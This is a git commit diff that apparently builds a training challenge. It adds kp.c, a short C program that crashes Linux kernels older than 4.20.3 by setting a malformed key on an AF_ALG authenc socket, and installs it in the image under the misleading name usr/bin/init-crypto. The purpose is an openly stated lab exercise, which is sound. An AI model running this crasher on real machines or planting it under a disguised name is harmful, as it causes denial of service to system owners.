challenge: insert kernel panic before 4.20.3
This commit is contained in:
parent
30b59bbc99
commit
51f3942286
5
Makefile
5
Makefile
|
@ -1,4 +1,4 @@
|
|||
all: login-app/login-app token-validator/token-validator
|
||||
all: login-app/login-app token-validator/token-validator pkg/challenge/kp
|
||||
|
||||
fonts: fonts/Inconsolata-16b.psf fonts/Inconsolata-16r.psf fonts/Inconsolata-32b.psf fonts/Inconsolata-32r.psf
|
||||
fonts/Inconsolata-16b.psf:
|
||||
|
@ -10,6 +10,9 @@ fonts/Inconsolata-32b.psf:
|
|||
fonts/Inconsolata-32r.psf:
|
||||
wget https://github.com/xeechou/Inconsolata-psf/raw/master/Inconsolata-32r.psf
|
||||
|
||||
pkg/challenge/kp: pkg/challenge/kp.c
|
||||
gcc -o $@ $+
|
||||
|
||||
token-validator/token-validator: token-validator/*.go
|
||||
go generate ./token-validator
|
||||
GOOS=linux GOARM=5 GOARCH=arm go build -tags netgo -ldflags '-w -extldflags "-static"' -o $@ ./token-validator
|
||||
|
|
|
@ -34,6 +34,9 @@ files:
|
|||
- path: bin/adlin
|
||||
source: pkg/challenge/adlin
|
||||
mode: "0755"
|
||||
- path: usr/bin/init-crypto
|
||||
source: pkg/challenge/kp
|
||||
mode: "0755"
|
||||
- path: etc/issue
|
||||
source: pkg/challenge/issue
|
||||
mode: "0644"
|
||||
|
|
1
pkg/challenge/.gitignore
vendored
Normal file
1
pkg/challenge/.gitignore
vendored
Normal file
|
@ -0,0 +1 @@
|
|||
kp
|
24
pkg/challenge/kp.c
Normal file
24
pkg/challenge/kp.c
Normal file
|
@ -0,0 +1,24 @@
|
|||
#include <linux/if_alg.h>
|
||||
#include <linux/rtnetlink.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
int main() {
|
||||
int fd;
|
||||
struct sockaddr_alg addr = {
|
||||
.salg_type = "aead",
|
||||
.salg_name = "authenc(hmac(sha256),cbc(aes))",
|
||||
};
|
||||
|
||||
struct {
|
||||
struct rtattr attr;
|
||||
__be32 enckeylen;
|
||||
char keys[1];
|
||||
} __attribute__((packed)) key = {
|
||||
.attr.rta_len = sizeof(key),
|
||||
.attr.rta_type = 1 /* CRYPTO_AUTHENC_KEYA_PARAM */,
|
||||
};
|
||||
|
||||
fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
|
||||
bind(fd, (void *)&addr, sizeof(addr));
|
||||
setsockopt(fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key));
|
||||
}
|
Reference in New Issue
Block a user